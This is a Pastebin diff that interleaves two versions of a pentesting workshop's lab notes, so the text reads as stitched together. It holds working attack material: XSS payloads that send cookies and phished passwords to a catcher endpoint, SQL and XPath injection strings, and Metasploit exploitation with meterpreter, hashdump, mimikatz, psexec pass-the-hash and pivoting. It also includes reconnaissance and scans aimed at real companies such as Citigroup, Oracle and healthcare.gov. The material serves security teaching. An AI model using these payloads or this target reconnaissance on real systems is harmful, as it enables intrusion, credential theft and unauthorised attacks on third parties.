SHOW:
|
|
- or go back to the newest paste.
1 | - | ################################################## |
1 | + | |
2 | - | # Advanced Pentesting High Security Environments # |
2 | + | # Pentester Night School 2016 # |
3 | - | # By Joe McCray # |
3 | + | # By Joe McCray # |
4 | - | ################################################## |
4 | + | |
5 | ||
6 | ||
7 | ########## | |
8 | # VMWare # | |
9 | ########## | |
10 | - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player. | |
11 | ||
12 | - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class. | |
13 | ||
14 | ||
15 | ########################## | |
16 | - | - A 30-day trial of Workstation 11 can be downloaded from here: |
16 | + | |
17 | - | - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/11_0 |
17 | + | |
18 | ||
19 | - | - A 30-day trial of Fusion 7 can be downloaded from here: |
19 | + | VM for these labs |
20 | - | - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_fusion/7_0 |
20 | + | ----------------- |
21 | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip | |
22 | - | - The newest version of VMWare Player can be downloaded from here: |
22 | + | |
23 | - | - https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/7_0 |
23 | + | |
24 | ||
25 | --------------------------------------------------------------------------------------------------------------------------------- | |
26 | ||
27 | ||
28 | ||
29 | ||
30 | ||
31 | ################################ | |
32 | - | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip |
32 | + | # Tactical Pentest Methodology # |
33 | ################################ | |
34 | ||
35 | The purpose of this section of the Pastebin document is to provide you with a tactical pentest plan. | |
36 | ||
37 | ||
38 | - | # Download the victim VMs # |
38 | + | |
39 | -=-=-=-=-=- Phase 1 -=-=-=-=-=- | |
40 | - | https://s3.amazonaws.com/StrategicSec-VMs/Windows7.zip |
40 | + | |
41 | - | user: workshop |
41 | + | |
42 | - | pass: password |
42 | + | ########################################## |
43 | # Step 1: External Target Identification # | |
44 | ########################################## | |
45 | - | https://s3.amazonaws.com/StrategicSec-VMs/windows8VM.zip |
45 | + | Find all of the IP ranges owned by your target company via the following websites: |
46 | - | user: StrategicSec |
46 | + | - https://www.robtex.com/ |
47 | - http://toolbar.netcraft.com/site_report | |
48 | ||
49 | Look for weak SSL implementations | |
50 | - https://www.ssllabs.com/ssltest/ | |
51 | ||
52 | - | ################################### |
52 | + | |
53 | - | # Let's start some Google Hacking # |
53 | + | |
54 | - | ################################### |
54 | + | |
55 | ############################# | |
56 | - | Open Firefox or Chrome and type the following into Google: |
56 | + | # Step 2: Google Quick Hits # |
57 | ############################# | |
58 | - | inurl:service.pwd filetype:pwd |
58 | + | |
59 | Be thorough, and really look for vulnerabilities and data leakages that are relevant to what you learned while doing your OSINT work. | |
60 | - | filetype:cfg intext:"enable password" cisco |
60 | + | |
61 | ||
62 | - | Found this site: http://www.opus1.com/nac/lv06configs/nap_lkdwncisco3550.cfg |
62 | + | Really good google dorks to use: |
63 | site:yourtarget.com filetype:pcf | |
64 | - | Then we searched for 'cisco password 7 cracker online' and found this site: |
64 | + | site:yourtarget.com filetype:ica |
65 | - | http://www.ibeast.com/content/tools/ciscopassword/ |
65 | + | |
66 | 1. Footholds: | |
67 | - | We pasted in this hash '06080E22424F0A4953' |
67 | + | ------------- |
68 | https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=1&ghdb_search_text= | |
69 | - | We then searched for 'GHDB' and found this site: |
69 | + | |
70 | Be sure to use 'site:yourtarget.com' [ google dork for the site above ] | |
71 | ||
72 | - | Then we learned the 'site:' Google search operator. You can use like this to target your GHDB query: |
72 | + | |
73 | 2. Passwords: | |
74 | - | site:secureninja.com inurl:service.pwd filetype:pwd |
74 | + | ------------- |
75 | https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=9&ghdb_search_text= | |
76 | - | We decided to attack CitiGroup |
76 | + | |
77 | Be sure to use 'site:yourtarget.com' [ google dork for the site above ] | |
78 | - | We started by looking for Citigroup in Wikipedia. |
78 | + | |
79 | - | https://en.wikipedia.org/wiki/Citigroup |
79 | + | |
80 | 3. Sensitive Directories: | |
81 | - | We figured out that they are public, not private. We also wanted to know key people, and subsidiaries (for potential social engineering). |
81 | + | ------------------------- |
82 | https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=3&ghdb_search_text= | |
83 | ||
84 | - | Next we went to https://www.robtex.com/ and searched for CitiGroup.com - we came up with https://www.robtex.com/en/advisory/dns/com/citigroup/ |
84 | + | Be sure to use 'site:yourtarget.com' [ google dork for the site above ] |
85 | ||
86 | ||
87 | - | The next website that we went to was: |
87 | + | |
88 | - | http://toolbar.netcraft.com/site_report/ |
88 | + | |
89 | Make sure that you do at least 50-100 different Google dorks. Do no less than 10 dorks per category. | |
90 | - | http://toolbar.netcraft.com/site_report/?url=citigroup.com |
90 | + | |
91 | ||
92 | - | We found out that they are using a Citrix Netscaler Load Balancer. |
92 | + | |
93 | - | 192.193.103.222 Citrix Netscaler |
93 | + | |
94 | - | 192.193.219.58 |
94 | + | # Step 3: Compromise Data # |
95 | ########################### | |
96 | - | site:citigroup.com filetype:pcf |
96 | + | Look to see if they have already been breached |
97 | - | site:citigroup.com filetype:ica |
97 | + | |
98 | - | site:citigroup.com filetype:doc |
98 | + | Search for the target company (and their major competitors) in the Data Breach Database |
99 | - | site:citigroup.com filetype:xls |
99 | + | http://www.privacyrights.org/data-breach |
100 | - | site:citigroup.com filetype:pdf |
100 | + | |
101 | Place targetgcompany.com in the search box of the link below to look known breaches | |
102 | - | Then we installed the Firefox Addon called Passive Recon: |
102 | + | http://zone-h.com/search |
103 | - | https://addons.mozilla.org/en-us/firefox/addon/passiverecon/ |
103 | + | |
104 | Replace targetgcompany.com with your target domain name to look for known XSS vulnerabilities in the site. | |
105 | - | Next we looked at an OSINT report: |
105 | + | http://xssed.com/search?key=targetcompany.com |
106 | ||
107 | ||
108 | ||
109 | ############################## | |
110 | # Step 4: Build OSINT Report # | |
111 | ############################## | |
112 | ||
113 | Passive Recon | |
114 | ------------- | |
115 | Install this add-on and enumerate as much info as possible | |
116 | - | ######################################## |
116 | + | - https://addons.mozilla.org/en-US/firefox/addon/passiverecon/ |
117 | - | # Boot up the StrategicSec Ubuntu host # |
117 | + | |
118 | - | ######################################## |
118 | + | |
119 | Next we build at an OSINT report with the data gleaned from the previous steps: | |
120 | - | - Log in to your Ubuntu host with the following credentials: |
120 | + | |
121 | - | user: strategicsec |
121 | + | |
122 | - | pass: strategicsec |
122 | + | |
123 | ||
124 | --------------------------------------------------------------------------------------------------------------------------------- | |
125 | ||
126 | - | - I prefer to use Putty to SSH into my Ubuntu host on pentests and I'll be teaching this class in the same manner that I do pentests. |
126 | + | -=-=-=-=-=- Phase 2 -=-=-=-=-=- |
127 | - | - You can download Putty from here: |
127 | + | |
128 | - | - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe |
128 | + | |
129 | ########################## | |
130 | ||
131 | - | - For the purpose of this workshop my Win7 VM IP address is: 192.168.153.129 so anytime you see that IP you'll know that's my Win7 VM |
131 | + | VM for these labs |
132 | - | - 192.168.153.159 is my Ubuntu IP address so anytime you see that IP you'll know that's my Ubuntu host |
132 | + | ----------------- |
133 | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip | |
134 | - | ################################################### |
134 | + | |
135 | - | # Day 1: Identifying External Security Mechanisms # |
135 | + | |
136 | - | ################################################### |
136 | + | |
137 | ||
138 | ############################################ | |
139 | # Identifying External Security Mechanisms # | |
140 | ############################################ | |
141 | ||
142 | sudo /sbin/iptables -F | |
143 | strategicsec | |
144 | ||
145 | cd /home/strategicsec/toolz | |
146 | ||
147 | - | perl blindcrawl.pl -d motorola.com |
147 | + | |
148 | ||
149 | ########################### | |
150 | # Target IP Determination # | |
151 | ########################### | |
152 | cd /home/strategicsec/toolz | |
153 | - | fierce -dns motorola.com |
153 | + | perl blindcrawl.pl -d targetgcompany.com |
154 | ||
155 | -- Take each IP address and look ip up here: | |
156 | - | Zone Transfer fails on most domains, but here is an example of one that works: |
156 | + | |
157 | - | dig axfr heartinternet.co.uk @ns.heartinternet.co.uk |
157 | + | |
158 | cd ~/toolz/fierce2 | |
159 | fierce -dns targetgcompany.com | |
160 | cd .. | |
161 | ||
162 | ||
163 | ||
164 | cd ~/toolz/ | |
165 | ./ipcrawl 148.87.1.1 148.87.1.254 (DNS forward lookup against an IP range) | |
166 | ||
167 | - | sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255 Reference: http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html |
167 | + | |
168 | sudo nmap -sL 148.87.1.0-255 | |
169 | strategicsec | |
170 | ||
171 | sudo nmap -sL 148.87.1.0-255 | grep oracle | |
172 | strategicsec | |
173 | ||
174 | ||
175 | - | Here are some options to use for identifying load balancers: |
175 | + | sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255 |
176 | - | - news.netcraft.com |
176 | + | strategicsec |
177 | - | - Firefox LiveHTTP Headers |
177 | + | |
178 | Reference: | |
179 | http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html | |
180 | - | Here are some command-line options to use for identifying load balancers: |
180 | + | |
181 | ||
182 | ||
183 | ########################### | |
184 | # Load Balancer Detection # | |
185 | - | ./lbd-0.1.sh google.com |
185 | + | |
186 | Here are some command-line options to use for identifying load balancers: | |
187 | ||
188 | - | halberd microsoft.com |
188 | + | |
189 | - | halberd motorola.com |
189 | + | |
190 | - | halberd oracle.com |
190 | + | |
191 | ./lbd-0.1.sh targetgcompany.com | |
192 | ||
193 | ||
194 | halberd targetgcompany.com | |
195 | ||
196 | ||
197 | ||
198 | - | python wafw00f.py http://www.oracle.com |
198 | + | |
199 | - | python wafw00f.py http://www.strategicsec.com |
199 | + | |
200 | ###################################### | |
201 | ||
202 | cd ~/toolz/wafw00f | |
203 | - | sudo nmap -p 80 --script http-waf-detect.nse oracle.com |
203 | + | python wafw00f.py http://www.targetgcompany.com |
204 | ||
205 | - | sudo nmap -p 80 --script http-waf-detect.nse healthcare.gov |
205 | + | |
206 | sudo nmap -p 80 --script http-waf-detect.nse targetgcompany.com | |
207 | strategicsec | |
208 | ||
209 | sudo nmap -p 80 --script http-waf-detect.nse targetgcompany.com | |
210 | - | ####################################################### |
210 | + | strategicsec |
211 | - | # Day 1: 3rd Party Scanning, and scanning via proxies # |
211 | + | |
212 | - | ####################################################### |
212 | + | |
213 | --------------------------------------------------------------------------------------------------------------------------------- | |
214 | - | https://www.shodan.io |
214 | + | |
215 | -=-=-=-=-=- Phase 3 -=-=-=-=-=- | |
216 | - | Create a FREE account and login |
216 | + | Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover. |
217 | ||
218 | - | net:129.188.8.0/24 |
218 | + | So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN: |
219 | https://s3.amazonaws.com/StrategicSec-Files/Strategic-Security-2016-VPN-Info.pdf | |
220 | ||
221 | sudo nmap -sP 10.0.0.0/24 | |
222 | - | cd /home/strategicsec/toolz/ |
222 | + | |
223 | - | perl proxyfinder-0.3.pl multiproxy 3 proxies.txt <-- This takes a long time to run |
223 | + | sudo nmap -sL 10.0.0.0/24 |
224 | ||
225 | cd ~/toolz | |
226 | ||
227 | - | sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: ocks4 127.0.0.1 9050 |
227 | + | wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c |
228 | ||
229 | gcc ipcrawl.c -o ipcrawl | |
230 | ||
231 | chmod 777 ipcrawl | |
232 | - | ---------------------------------------------------------------------- |
232 | + | |
233 | - | vi ~/toolz/fix-proxychains-dns.sh |
233 | + | ./ipcrawl 10.0.0.1 10.0.0.254 |
234 | ||
235 | ||
236 | - | # This script is called by proxychains to resolve DNS names |
236 | + | |
237 | - | # DNS server used to resolve names |
237 | + | wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c |
238 | - | # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html |
238 | + | |
239 | - | DNS_SERVER=4.2.2.2 |
239 | + | gcc propecia.c propecia |
240 | ||
241 | - | if [ $# = 0 ] ; then |
241 | + | sudo cp propecia /bin |
242 | - | echo " usage:" |
242 | + | |
243 | - | echo " proxyresolv <hostname> " |
243 | + | propecia 10.0.0 22 |
244 | - | exit |
244 | + | |
245 | - | fi |
245 | + | propecia 10.0.0 3389 |
246 | ||
247 | - | export LD_PRELOAD=libproxychains.so.3 |
247 | + | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open |
248 | - | dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}' |
248 | + | |
249 | - | ----------------------------------------------------------------------- |
249 | + | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}' |
250 | ||
251 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l | |
252 | - | sudo ntpdate pool.ntp.org |
252 | + | |
253 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | |
254 | - | tor-resolve strategicsec.com |
254 | + | |
255 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt | |
256 | - | proxychains nmap -sT -p80 52.11.62.192 |
256 | + | |
257 | cd ~/toolz | |
258 | - | proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 52.11.62.192 |
258 | + | wget http://wkhtmltopdf.googlecode.com/files/wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2 |
259 | tar -jxvf wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2 | |
260 | sudo cp wkhtmltoimage-i386 /usr/local/bin/ | |
261 | - | If you want to block tor exit nodes you get a list from here: |
261 | + | |
262 | - | http://rules.emergingthreats.net/blockrules/emerging-tor-BLOCK.rules |
262 | + | git clone git://github.com/SpiderLabs/Nmap-Tools.git |
263 | cd Nmap-Tools/NSE/ | |
264 | - | You probably should also block things like: |
264 | + | sudo cp http-screenshot.nse /usr/share/nmap/scripts/ |
265 | - | http://rules.emergingthreats.net/blockrules/emerging-rbn-BLOCK.rules <----- Russian Business Network IPs |
265 | + | sudo nmap --script-updatedb |
266 | - | http://rules.emergingthreats.net/blockrules/emerging-botcc.rules <----- BotNet Command and Control Servers |
266 | + | |
267 | - | http://rules.emergingthreats.net/blockrules/emerging-rbn-malvertisers-BLOCK.rules <----- Malware Advertisers |
267 | + | |
268 | mkdir labscreenshots | |
269 | - | Here is where you can download the perl script to automatically update your firewall each day (create a cron job for it). |
269 | + | cd labscreenshots/ |
270 | - | http://doc.emergingthreats.net/bin/view/Main/EmergingFirewallRules |
270 | + | |
271 | sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/strategicsec/labnet-ip-list.txt | |
272 | ||
273 | ||
274 | ||
275 | ||
276 | vi screenshots.sh | |
277 | - | ################################## |
277 | + | |
278 | - | # Basic: Web Application Testing # |
278 | + | |
279 | - | ################################## |
279 | + | printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html |
280 | ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html | |
281 | printf "</BODY></HTML>" >> labnet-port-80-screenshots.html | |
282 | - | The basics of web app pentesting |
282 | + | |
283 | ||
284 | - | Start with simple firefox addons: |
284 | + | |
285 | ||
286 | - | - ShowIP https://addons.mozilla.org/en-US/firefox/addon/showip/ |
286 | + | |
287 | - | - Server Spy https://addons.mozilla.org/en-US/firefox/addon/server-spy/ |
287 | + | sh screenshots.sh |
288 | - | - FoxyProxy https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/ |
288 | + | |
289 | - | - Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/ |
289 | + | |
290 | ||
291 | - | A good list of web app testing add ons for Firefox: |
291 | + | |
292 | - | https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/ |
292 | + | |
293 | # Nmap NSE tricks to try # | |
294 | ########################## | |
295 | - | The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site. |
295 | + | sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24 |
296 | ||
297 | - | 1. Does the website talk to a DB? |
297 | + | sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24 |
298 | - | - Look for parameter passing (ex: site.com/page.php?id=4) |
298 | + | |
299 | - | - If yes - try SQL Injection |
299 | + | sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24 |
300 | ||
301 | - | 2. Can I or someone else see what I type? |
301 | + | sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24 |
302 | - | - If yes - try XSS |
302 | + | |
303 | sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24 | |
304 | - | 3. Does the page reference a file? |
304 | + | |
305 | - | - If yes - try LFI/RFI |
305 | + | sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24 |
306 | ||
307 | - | Let's start with some manual testing against 54.149.82.150 in the lab network. |
307 | + | sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24 |
308 | ||
309 | sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24 | |
310 | - | Start here: |
310 | + | |
311 | - | http://54.149.82.150/ |
311 | + | sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24 |
312 | ||
313 | sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24 | |
314 | - | There's no parameter passing on the home page so the answer to question 1 is NO. |
314 | + | |
315 | - | There is however a search box in the top right of the webpage, so the answer to question 2 is YES. |
315 | + | sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24 |
316 | ||
317 | - | Try an XSS in the search box on the home page: |
317 | + | sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24 |
318 | - | <script>alert(123);</script> |
318 | + | |
319 | ||
320 | - | Doing this gives us the following in the address bar: |
320 | + | |
321 | - | http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script> |
321 | + | |
322 | #################################### | |
323 | - | Ok, so we've verified that there is XSS in the search box. |
323 | + | # Finally, let's exploit something # |
324 | #################################### | |
325 | - | Let's move on to the search box in the left of the page. |
325 | + | |
326 | nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}' | |
327 | - | Let's give the newsletter signup box a shot |
327 | + | |
328 | nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15 | |
329 | ||
330 | https://www.exploit-db.com/search | |
331 | ||
332 | - | ################################################################### |
332 | + | Search for: |
333 | - | # What is XSS # |
333 | + | Savant httpd 3.1 |
334 | - | # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx # |
334 | + | Apache httpd 2.0.58 ((Win32)) |
335 | - | ################################################################### |
335 | + | |
336 | ||
337 | - | OK - what is Cross Site Scripting (XSS) |
337 | + | Found one written in Python: |
338 | https://www.exploit-db.com/exploits/18401/ | |
339 | - | 1. Use Firefox to browse to the following location: |
339 | + | |
340 | Found one for Savant 3.1 from Metasploit: | |
341 | - | http://54.186.248.116/xss_practice/ |
341 | + | https://www.exploit-db.com/exploits/16770/ |
342 | ||
343 | - | A really simple search page that is vulnerable should come up. |
343 | + | |
344 | ||
345 | cd ~/toolz/metasploit | |
346 | ./msfconsole | |
347 | use exploit/windows/http/savant_31_overflow | |
348 | - | 2. In the search box type: |
348 | + | set RHOST 10.0.0.15 |
349 | set PAYLOAD windows/meterpreter/bind_nonx_tcp | |
350 | - | <script>alert('So this is XSS')</script> |
350 | + | set RPORT 80 |
351 | set LPORT 7777 | |
352 | exploit | |
353 | - | This should pop-up an alert window with your message in it proving XSS is in fact possible. |
353 | + | |
354 | - | Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/ |
354 | + | |
355 | ||
356 | ||
357 | - | 3. In the search box type: |
357 | + | |
358 | ||
359 | - | <script>alert(document.cookie)</script> |
359 | + | |
360 | ||
361 | meterpreter> sysinfo | |
362 | - | This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed. |
362 | + | |
363 | - | Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/ |
363 | + | |
364 | meterpreter> getuid | |
365 | - | 4. Now replace that alert script with: |
365 | + | |
366 | ||
367 | - | <script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script> |
367 | + | |
368 | ||
369 | ||
370 | - | This will actually pass your cookie to the cookie catcher that we have sitting on the webserver. |
370 | + | |
371 | ||
372 | ||
373 | - | 5. Now view the stolen cookie at: |
373 | + | |
374 | - | http://54.186.248.116/xss_practice/cookie_stealer_logs.html |
374 | + | |
375 | ||
376 | ||
377 | - | The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to. |
377 | + | |
378 | ||
379 | ||
380 | meterpreter> use priv | |
381 | ||
382 | ||
383 | ||
384 | - | ############################ |
384 | + | |
385 | - | # A Better Way To Demo XSS # |
385 | + | |
386 | - | ############################ |
386 | + | |
387 | meterpreter > getuid | |
388 | Server username: NT AUTHORITY\SYSTEM | |
389 | - | Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. |
389 | + | |
390 | -------------------------------------------------------- | |
391 | ||
392 | - | Use Firefox to browse to the following location: |
392 | + | |
393 | ||
394 | - | http://54.186.248.116/xss_practice/ |
394 | + | |
395 | ||
396 | Got the following admin hash: | |
397 | Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363::: | |
398 | - | Paste this in the search box |
398 | + | |
399 | - | ---------------------------- |
399 | + | |
400 | ||
401 | meterpreter > load mimikatz | |
402 | - | Option 1 |
402 | + | |
403 | - | -------- |
403 | + | |
404 | ||
405 | - | <script> |
405 | + | This should give me the administrative password: |
406 | - | password=prompt('Your session is expired. Please enter your password to continue',' '); |
406 | + | )K5?Jocb(Yx |
407 | - | document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">"); |
407 | + | |
408 | - | </script> |
408 | + | |
409 | ********************************** Enumerate the host you are on ********************************** | |
410 | ||
411 | - | Now view the stolen cookie at: |
411 | + | |
412 | - | http://54.186.248.116/xss_practice/passwords.html |
412 | + | |
413 | meterpreter > run post/windows/gather/enum_applications | |
414 | ||
415 | meterpreter > run post/windows/gather/enum_logged_on_users | |
416 | - | Option 2 |
416 | + | |
417 | - | -------- |
417 | + | |
418 | - | <script> |
418 | + | |
419 | - | username=prompt('Please enter your username',' '); |
419 | + | |
420 | - | password=prompt('Please enter your password',' '); |
420 | + | |
421 | - | document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">"); |
421 | + | |
422 | - | </script> |
422 | + | |
423 | meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | |
424 | ||
425 | ||
426 | ********************************** Get out of Meterpreter ********************************** | |
427 | - | Now view the stolen cookie at: |
427 | + | |
428 | - | http://54.186.248.116/xss_practice/username_password_logs.html |
428 | + | |
429 | ||
430 | msf exploit(savant_31_overflow) > back | |
431 | ||
432 | msf> | |
433 | ||
434 | - | Moving on to the login page. |
434 | + | |
435 | - | http://54.149.82.150/login.aspx |
435 | + | |
436 | ||
437 | - | I entered a single quote (') for both the user name and the password. I got the following error: |
437 | + | ********************************** Lateral Movement ******************************* |
438 | ||
439 | - | ----------------------------------------------------------------- |
439 | + | |
440 | - | 'Users//User[@Name=''' and @Password=''']' has an invalid token. |
440 | + | Now we can run the PSEXEC exploit. |
441 | - | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. |
441 | + | |
442 | -- Option 1: | |
443 | - | Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token. |
443 | + | |
444 | ||
445 | - | Source Error: |
445 | + | set SMBUser Administrator |
446 | ||
447 | set SMBPass )K5?Jocb(Yx | |
448 | - | Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml"); |
448 | + | |
449 | - | Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']"; |
449 | + | set RHOST 10.0.0.15 |
450 | - | Line 114: XmlNodeList xmln = doc.SelectNodes(credential); |
450 | + | |
451 | - | Line 115: //String test = xmln.ToString(); |
451 | + | set payload windows/meterpreter/bind_tcp |
452 | - | Line 116: if (xmln.Count > 0) |
452 | + | |
453 | set LPORT 2345 | |
454 | - | ----------------------------------------------------------------- |
454 | + | |
455 | exploit | |
456 | ||
457 | - | Hmm....System.Xml.XPath.XPathException.....that's not SQL. |
457 | + | ********************************** Get out of Meterpreter ********************************** |
458 | ||
459 | - | WTF is this: |
459 | + | |
460 | - | Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml"); |
460 | + | |
461 | msf exploit(psexec) >back | |
462 | ||
463 | - | Let's check it out: |
463 | + | msf> |
464 | - | http://54.149.82.150/AuthInfo.xml |
464 | + | |
465 | ********************************** | |
466 | - | Looks like we found passwords!!!!!!!!!! |
466 | + | |
467 | -- Option 2: | |
468 | use exploit/windows/smb/psexec | |
469 | - | Looks like there no significant new functionality after logging in with the stolen credentials. |
469 | + | |
470 | set SMBUser Administrator | |
471 | - | Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links |
471 | + | |
472 | set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363 | |
473 | ||
474 | - | http://54.149.82.150/bookdetail.aspx?id=2 |
474 | + | set payload windows/meterpreter/bind_tcp |
475 | ||
476 | set RHOST 10.0.0.15 | |
477 | - | Ok, there is parameter passing (bookdetail.aspx?id=2). |
477 | + | |
478 | set LPORT 5678 | |
479 | - | The page name is: bookdetail.aspx |
479 | + | |
480 | - | The parameter name is: id |
480 | + | |
481 | - | The paramber value is: 2 |
481 | + | |
482 | ||
483 | ||
484 | - | Let's try throwing a single quote (') in there: |
484 | + | |
485 | ||
486 | - | http://54.149.82.150/bookdetail.aspx?id=2' |
486 | + | |
487 | <-- background the session | |
488 | You want to get back to this prompt: | |
489 | - | I get the following error: |
489 | + | msf exploit(handler) > back <--- you need to get to main msf> prompt |
490 | ||
491 | - | Unclosed quotation mark after the character string ''. |
491 | + | |
492 | - | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. |
492 | + | |
493 | sessions -l <--find a session you want to pivot through (note the IP and session number) | |
494 | - | Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''. |
494 | + | |
495 | Now set up Pivot with a route add | |
496 | --------------------------------- | |
497 | ||
498 | - | ############################################################################# |
498 | + | route print <--- should be blank |
499 | - | # SQL Injection # |
499 | + | |
500 | - | # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx # |
500 | + | route add 10.0.0.15 255.255.255.0 1 <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter) |
501 | - | ############################################################################# |
501 | + | |
502 | ||
503 | route print <----- verify new route | |
504 | - | - Another quick way to test for SQLI is to remove the paramter value |
504 | + | |
505 | ******************************Scan through your Pivot ****************************** | |
506 | ||
507 | use auxiliary/scanner/portscan/tcp <-- Run aux modules through your pivot | |
508 | - | # Error-Based SQL Injection # |
508 | + | |
509 | set THREADS 10 | |
510 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- |
510 | + | |
511 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- |
511 | + | set RHOSTS 10.0.0.0/24 <-- Keep changing this IP and re-running the scan until you find something you want to attack |
512 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- |
512 | + | |
513 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- |
513 | + | set PORTS 445 |
514 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- |
514 | + | |
